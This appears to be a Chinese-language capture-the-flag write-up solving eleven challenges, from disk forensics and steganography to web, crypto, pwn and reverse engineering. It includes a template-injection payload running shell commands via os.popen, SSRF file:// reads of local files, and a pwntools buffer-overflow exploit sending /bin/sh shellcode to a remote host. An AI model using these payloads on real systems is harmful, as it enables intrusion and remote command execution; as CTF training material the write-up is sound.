1、Misc Disk
解题思路、相关代码和Flag截图:
使用用FTK软件加载vmdk文件,然后拼接ads文件中的二进制字符串,得到flag
2、Misc Flow
解题思路、相关代码和Flag截图:
流量包,搜索到
http://mslc.ctf.su/wp/nuitduhack-2012-prequals-sciteekadm-cap/
首先使用aircrack-ng 破解密码
后使用解压出加密的流量包
3、Misc Hidden write
提取出3张图片,使用zteg工具解出部分flag,根据题目提示文件尾拿到另一部分flag,最后一部分猜测是盲水印,找到https://github.com/chishaxie/BlindWaterMark
python bwm.py decode 11.png longmao.png test1.png
解压出最后一部分flag
4、Web Readflag
file协议读取到web.php
发现可以直接读取url=file:///var/www/html/ssrf/readflag 文件, string 文件,发现rflagerror,猜测是read flag, 尝试读取url=file:///var/www/html/ssrf/flag,直接读取到flag
5、Web Xmeo
模板注入,实现文件读取1
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('grep -r -n "hxb" /home').read()}}
6、Web CodeCheck
7、Web Mynote
访问robots.txt发现flag.php
查看图片的页面里,通过设置cookie可以直接读到flag.php base64值,base64_decode就能得到flag
8、Crypto Common Crypto
跟进去明显发现是AES加密,动态调试得知String1是1B2E3546586E72869BA7B5C8D9EFFF0C固定不变的,当作密钥,经过AES的ECB模式解密后,发现前一半flag,但后一半乱码,经过不断尝试发现“4aee37c73d902a185407ebef96b2798539646536663335323135323035353636”后一半就是16进制字符串,解码后,拼接,得到flag
脚本如下
1 | 1、 from Crypto.Cipher import AES |
9、PWN Regex Format
输入的payload作为全局变量matchString,送到dealWithMatch函数中,因其存在buffer size溢出漏洞,能达到1000, 可以修改main函数的返回地址,进而拿到flag,最终脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13from pwn import *
p = remote('47.107.237.236',8888)
code="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"+"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"+"\x0b\xcd\x80"
jmp = 0x804a34b
p.sendlineafter('format',":a"+p32(jmp)+"$*")
payload = "Before use it, understand it first."
payload += "a"*(216)
payload += p32(jmp)
payload += code
p.sendlineafter('match',payload)
p.sendlineafter('[Y/n]','n')
p.interactive()
10、Reverse HighwayHash64
主要依靠ida工具以及开源highwayhash工具。
通过ida可知,reverse.exe程序对输入的判断分为两步,第一步是长度校验,第二步,结合题目名称及代码结构,可以判断是highwayhash摘要运算。
第一步,通过多次动态调试,可以得出长度是10(digit部分)。然后制作工具,遍历所有10位数字,大约不到20分钟,得到符合哈希值的原文,也就是flag。
获取哈希值(碰撞的目标):
制作碰撞工具:
参考:https://github.com/google/highwayhash,
此时应该注意,在编译highwayhash库的时候,应该使用与reverse.exe中一样的HighwayHashReset参数。
碰撞出结果:
验证:
11、Reverse Replace
简单的逆向,发现UPX壳,脱壳后,定位主要函数,主要是在check函数中检查35个字符是否相等,直接爆破即可,脚本如下
1 | text1 = "2a49f69c38395cde96d6de96d6f4e025484954d6195448def6e2dad67786e21d5adae6" |